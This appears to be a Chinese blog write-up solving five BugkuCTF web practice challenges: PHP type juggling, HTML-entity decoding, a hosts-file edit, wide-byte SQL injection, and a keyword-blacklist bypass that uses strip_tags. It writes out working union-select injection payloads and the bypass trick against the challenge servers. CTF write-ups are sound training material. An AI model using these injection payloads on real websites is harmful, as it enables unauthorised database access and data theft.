BugkuCTF WEB解题记录 6-10

写了一部分的web题,算是把它最基础的一部分做了一遍,以后的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每五道题的题解以一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~

矛盾

打开链接http://120.24.86.145:8002/get/index1.php  查看显示的源码 

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

这题同样是一道代码审计的题目

要求以GET方式传输一个num的值

这其中涉及了一个函数is_numeric,这个函数是检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE

代码显示的意思是要传入的num参数既不是数字字符串,又要等于1,这时候我们自然的联想到了科学记数法。

所以我们给num传递一个值 http://120.24.86.145:8002/get/index1.php?num=1e

flag就直接出来了

web3

打开链接http://120.24.86.145:8002/web3/

里边是一个 空白网页并且不断循环弹出flag就在这里,来找找吧

我们查看网页的源码发现  源码最后一排的注释标签有一串特殊的字符

KEY{J2sa42ahJK-HS11III}

我们百度查看下,这个是HTML的特殊字符  下面是一个对照表http://www.mamicode.com/info-detail-1680849.html

一个一个对比即可解出flag

第二个方法就是使用站长工具的Unicode编码转换

直接便可爆出flag

sql注入

题目链接http://103.238.227.13:10083/

这个题就是要我们进行sql注入  

因为我们不知道注入类型,首先我们右键----》查看一下源代码  

发现源代码里有一个gb2312,于是我们联想到宽字节注入

PS:[转载]sql宽字节注入详解这里有一篇宽字节注入的详细介绍,可以参考一下

题目要求是查询key表,id=1的string字段

这样的话我们构造payload:

第一个    http://103.238.227.13:10083/?id=1%df'    我们构造一个宽字节输入使‘逸出,使之出现一个错误

下面我们就可以进行注入了

继续构造第二个apyload

第二个     http://103.238.227.13:10083/?id=1%df' union select 1,2 %23      //查询到的表

第三个        http://103.238.227.13:10083/?id=1%df' union select 1,database() %23    //查询数据库的表

最后我们构造一个payload:查询数据库内数据

查询库内数据     http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23    

直接查询到flag

域名解析

这个题目的意思是将flag.bugku.com解析到120.24.86.145     

原理就是更改电脑host文件达到目的

windows的hosts路径    C:WindowsSystem32driversetc       
lixux的hosts路径   /etc/hosts

直接打开hosts文件在最后边加入120.24.86.145      flag.bugku.com  (不用管前面什么内容)

PS:更改系统文件注意备份

这时候我们再在浏览器中打开flag.bugku.com   falg就直接爆出来了

SQL注入1

题目链接:http://103.238.227.13:10087/  

打开之后我们可以看到有这样一串代码

复制代码
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
复制代码

上边有//过滤sql

对sql的注入语句进行了严格的过滤,从这里看我们貌似没有什么注入的思路

下面的//xss过滤

 里边有一个 strip_tags($id)函数  我们百度一下可以了解到

strip_tags ()函数的作用      用来从字符串中去除 HTML 和 PHP 标记。

这样我们就想到可以试试在sql注入的语句中加入html或者php代码来绕过过滤

查看一下源代码,可以使用普通的注入

我们构造一个payload:

注入语句     http://103.238.227.13:10087/?id=1 un<p>ion sel<p>ect 1,hash fr<p>om sql3.key %23

PS:上一篇sql手工注入文章写了中间的详细步骤 ,不太了解的查阅下BugkuCTF sql注入

直接就爆出了答案,这个应该就是我们要的flag

原文地址:https://www.cnblogs.com/Anser-dabao-982480259/p/9432781.html